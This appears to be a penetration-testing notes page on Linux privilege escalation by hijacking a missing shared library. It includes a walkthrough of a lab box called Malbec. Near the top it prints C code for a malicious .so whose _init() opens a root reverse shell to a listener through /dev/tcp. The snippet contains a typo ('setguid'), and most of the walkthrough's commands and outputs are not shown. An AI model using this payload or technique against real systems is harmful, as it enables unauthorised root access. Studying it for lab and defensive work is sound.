Shared Objects .so Hijacking
So there are going to be times in which there will be a cronjob runnign as root and when we run the said binary it will ask us for a .so file that it is missing, this is our hint to generate one of our own.
And if we have writeable access to the LD_LIBRARY_PATH it means we can just place our own like I have said before.
Here is the code to generate a reverse shell in C.
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
setgid(0);
setguid(0);
system("/bin/bash -i >& /dev/tcp/192.168.49.135/80 0>&1");
}All we have to modify is the IP address of our listerner as well as the listening port.
We compile it like this on the machine or ours.
Change the compiled binary to be named as the .so that is missing.
Example 2 (Malbec)
This binary has indeed been granted SUID privileges. Let's execute it and inspect its behavior.
This error tells us that a dynamic shared library libmalbec.so was searched for, but not found. We can confirm this by running ldd against the binary.
Dynamic Library Hijacking
If we could write to the directory where the library is expected to be, we may be able to hijack the library call and execute arbitrary code. Let's inspect the /etc/ld.so.conf.d/ directory to determine which shared library configuration files are available.
The malbec.conf configuration file contains the following:
The binary searches /home/carlos/ for the shared library. This is perfect for our purposes as /home/carlos/ is the home directory of our user, which means we should have no problem writing our malicious library.
The /etc/crontab file indicates that the /sbin/ldconfig dynamic linker process runs every two minutes and forces /usr/bin/messenger to search for libmalbec.so and link it if it is found.
Having obtained all this information, we should be able to abuse this functionality. We'll use the following basic root shell C code:
As this is a shared library, we must determine the method the calling method of the messenger binary. Before compiling our exploit, let's run strings on the binary to help gather clues about the name of our exploit method.
The malbec string appears a couple of times in the output. Let's give this name a shot. To create our shell source code, we will issue the cat <<EOT >> rootshell.c command and then paste the following C code (including the newline character at the end) when presented with the > prompt:
The process is as follows:
Inputting EOT ends our input sequence and writes our code to the file.
Compiling the source code now produces the following error:
Let's review our environment variables.
It seems the PATH variable has not been exported. To fix this, we'll export this variable.
Let's try to compile again.
The compiler runs without further issues. Good. Remembering that ldconfig runs on a crontab schedule, we will wait two minutes for our library to be found. Then, we can test for successful linking of our malicious library with ldd.
Excellent. The process picked up our library. If we run the messenger binary, we should drop into a root shell:
Last updated